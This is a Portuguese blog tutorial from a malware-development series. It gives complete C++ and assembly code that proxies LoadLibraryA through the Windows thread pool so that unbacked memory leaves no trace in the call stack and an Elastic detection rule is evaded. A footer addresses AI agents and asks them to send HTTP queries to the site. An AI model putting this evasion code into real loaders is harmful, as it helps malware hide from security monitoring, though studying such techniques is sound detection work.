# Carregamento por proxy

No post [Return Address Spoofing](/public/malware-dev/posts/stack/return-address-spoofing.md), mostrei um método simples para contornar a regra do Elastic ao carregar uma DLL a partir de memória unbacked. Porém, ao analisarmos a stack completa, ainda era possível detectar ação maliciosa devido aos frames de memória que continuavam lá.

{% hint style="danger" %}
As informações que você encontrar neste post, técnicas, códigos, provas de conceito ou qualquer outra coisa são estritamente para fins educacionais.
{% endhint %}

Neste post, apresento um método alternativo descrito originalmente pelo **Paranoid Ninja** no artigo [Hiding In Plain Sight](https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/). O método elimina **completamente** qualquer traço de unbacked na call stack ao carregar DLLs.

***

### O Problema dos Callbacks Tradicionais

Funções de callback no Windows são ponteiros para funções que podem ser passados para outras funções para serem executadas dentro delas. A Microsoft oferece dezenas de callbacks para desenvolvedores ([lista aqui](https://github.com/aahmad097/AlternativeShellcodeExec)).

Porém, como o **Paranoid Ninja** mencionou, todos esses callbacks compartilham um problema principal: quando um callback é executado, ele roda dentro da **mesma thread** que o chamou.

Isso nos leva exatamente ao dilema que mencionamos anteriormente:

```nix
LoadLibrary retorna para -> Função de Callback retorna para -> região RX/Unbacked
```

Para obter uma pilha "limpa", precisamos garantir que o nosso `LoadLibrary` seja executado em uma thread separada, independente da nossa região unbacked. Se formos utilizar callbacks, precisamos que eles consigam passar corretamente os parâmetros necessários para `LoadLibraryA`.

O problema é que a maioria dos callbacks no Windows ou não possui parâmetros, ou não repassa os parâmetros "como estão" para nossa função alvo `LoadLibrary`.

***

### Thread Pool do Windows

O Paranoid Ninja escolheu usar três APIs do Windows para realizar essa operação:

* **TpAllocWork** - Aloca um work item
* **TpPostWork** - Enfileira o work item para execução
* **TpReleaseWork** - Libera recursos

***

### Preparando o Código C++

Primeiro, vamos preparar as estruturas necessárias no nosso código:

```cpp
#include <windows.h>
#include <stdio.h>

typedef VOID(NTAPI* TPALLOCWORK)(PTP_WORK*, PTP_WORK_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON);
typedef VOID(NTAPI* TPPOSTWORK)(PTP_WORK);
typedef VOID(NTAPI* TPRELEASEWORK)(PTP_WORK);
```

Criamos typedefs para as funções do Thread Pool. Isso é necessário porque vamos chamar essas funções via `GetProcAddress`, então precisamos definir o tipo correto dos ponteiros.

Agora vamos criar uma variável global:

```cpp
FARPROC g_pLoadLibraryA;
```

Por que global? Porque nosso código assembly vai precisar acessar o endereço de `LoadLibraryA`. Variáveis globais são compartilhadas entre C++ e assembly.

Mas o assembly não pode acessar a variável global diretamente de forma conveniente. Então criamos uma função auxiliar:

```cpp
extern "C" UINT_PTR getLoadLibraryA() {
    return (UINT_PTR)g_pLoadLibraryA;
}
```

O assembly vai chamar essa função para obter o endereço armazenado em `g_pLoadLibraryA`.

Também precisamos declarar nosso callback que será implementado em assembly:

```cpp
extern "C" VOID CALLBACK WorkCallback(PTP_CALLBACK_INSTANCE, PVOID, PTP_WORK);
```

{% hint style="info" %}
O `extern "C"` desativa o name mangling do C++, permitindo que o linker encontre a função pelo nome exato.
{% endhint %}

***

### Implementando a Função Principal

Agora vamos criar a função que carrega a DLL:

```cpp
HMODULE LoadLibraryViaCallback(const char* libName) {
    // Pega os handles dos módulos
    HMODULE hKernel32 = GetModuleHandleA("kernel32");
    HMODULE hNtdll = GetModuleHandleA("ntdll");
```

Começamos obtendo os handles de `kernel32` e `ntdll`, que é onde estão as funções que precisamos.

```cpp
// Obtém os endereços das funções
    g_pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
    FARPROC pTpAllocWork = GetProcAddress(hNtdll, "TpAllocWork");
    FARPROC pTpPostWork = GetProcAddress(hNtdll, "TpPostWork");
    FARPROC pTpReleaseWork = GetProcAddress(hNtdll, "TpReleaseWork");
```

Usamos `GetProcAddress` para obter os endereços das funções. Note que `g_pLoadLibraryA` é a variável global que o assembly vai acessar via `getLoadLibraryA()`.

```cpp
// Aloca o work item
    PTP_WORK WorkReturn = NULL;
    ((TPALLOCWORK)pTpAllocWork)(
        &WorkReturn,
        WorkCallback,      // nosso callback em ASM
        (PVOID)libName,    // será passado como Context
        NULL
    );
```

Aqui está a parte mais importante:

* `&WorkReturn` - Ponteiro que receberá o work item alocado
* `WorkCallback` - Nossa função callback implementada em assembly
* `(PVOID)libName` - O nome da DLL que queremos carregar

O `libName` será repassado como segundo argumento (`Context`) quando o Thread Pool chamar nosso `WorkCallback`.

```cpp
// Enfileira para execução
    ((TPPOSTWORK)pTpPostWork)(WorkReturn);
    ((TPRELEASEWORK)pTpReleaseWork)(WorkReturn);
```

`TpReleaseWork` libera os recursos associados ao work item. Note que isso **não cancela** a execução se ela já foi enfileirada.

```cpp
Sleep(2000);
```

Aguardamos 2 segundos para dar tempo do Thread Pool executar nosso callback.

```cpp
return GetModuleHandleA(libName);
}
```

Por fim, retornamos o handle da DLL carregada. Se a DLL foi carregada com sucesso, `GetModuleHandleA` retornará seu handle. Se falhou, retorna NULL.

***

### O Código Assembly

Agora vamos para a parte crucial: o callback em assembly que manipula a stack.

```asm
.code

; Declaração externa da função C++
EXTERN getLoadLibraryA:PROC

; Exporta o callback
PUBLIC WorkCallback
```

Começamos declarando que `getLoadLibraryA` é uma função externa (definida no C++) e que `WorkCallback` será exportado (acessível pelo C++).

```cpp
WorkCallback PROC
```

Iniciamos a definição da função. Lembrando que a assinatura esperada é:

```cpp
VOID CALLBACK WorkCallback(
    PTP_CALLBACK_INSTANCE Instance,  // RCX
    PVOID Context,                   // RDX
    PTP_WORK Work                    // R8
);
```

Quando o Thread Pool chama nosso callback, os registradores estão assim:

* **RCX** = Ponteiro para `PTP_CALLBACK_INSTANCE` (estrutura interna do Thread Pool)
* **RDX** = Nosso `Context` (o `libName` que passamos)
* **R8** = Ponteiro para `PTP_WORK` (o work item)

```asm
; Move Context (nome da DLL) para RCX
    mov rcx, rdx
```

`LoadLibraryA` espera o nome da DLL no **primeiro argumento** (RCX). Mas o Thread Pool colocou em **RDX** (segundo argumento). Então movemos RDX → RCX.

Após essa instrução:

* **RCX** = nome da DLL (nosso argumento desejado)
* **RDX** = ainda contém o nome da DLL (lixo)

```asm
; Limpa RDX (LoadLibraryA só tem 1 argumento)
    xor rdx, rdx
```

`LoadLibraryA` espera apenas 1 argumento. Limpamos RDX por limpar, não precisa se não quiser.

```asm
; Chama função C++ pra pegar endereço de LoadLibraryA
    call getLoadLibraryA
```

Chamamos a função que retorna `g_pLoadLibraryA`. O resultado vem em **RAX** (convenção x64 para valores de retorno).

Após essa instrução:

* **RAX** = endereço de LoadLibraryA
* **RCX** = nome da DLL (preparado)

```asm
; JMP (não CALL!) pra LoadLibraryA
    jmp rax
```

**AQUI ESTÁ O TRUQUE!** Usamos **JMP**, não **CALL**.

```asm
WorkCallback ENDP
END
```

Finalizamos a definição da função.

***

### Função Main

Agora vamos juntar tudo:

```cpp
int main() {
    printf("[*] Carregando wininet.dll via Thread Pool...\n");
    
    HMODULE hWininet = LoadLibraryViaCallback("wininet.dll");
    printf("[+] wininet.dll carregada em: 0x%p\n", hWininet);

    getchar();
    return 0;
}
```

Simples e direto. Chamamos nossa função que cuida de tudo internamente.

{% hint style="info" %}
Existem outras formas de aplicar o método do Paranoid Ninja, e algumas delas não sujam a stack. Isso ocorre porque, nessas variantes, o threadpool chama o callback diretamente, sem um CALL vindo do nosso código em RX, então nenhum retorno para a região RX é empilhado.
{% endhint %}

***

## Resultado

Aplicando o método do **Paranoid Ninja**, obtemos o seguinte resultado:

```apl
0:004> k
 # Child-SP          RetAddr               Call Site
00 000000a1`415ff6f8 00007ff9`76393720     KERNELBASE!LoadLibraryA
01 000000a1`415ff700 00007ff9`7637d79a     ntdll!TppWorkpExecuteCallback+0x130
02 000000a1`415ff750 00007ff9`74d37374     ntdll!TppWorkerThread+0x68a
03 000000a1`415ffa50 00007ff9`7637cc91     KERNEL32!BaseThreadInitThunk+0x14
04 000000a1`415ffa80 00000000`00000000     ntdll!RtlUserThreadStart+0x21
```

<figure><img src="/files/1EOV2SCKcoSRfHwDSkj5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://vith0r.gitbook.io/public/malware-dev/posts/stack/carregamento-por-proxy.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
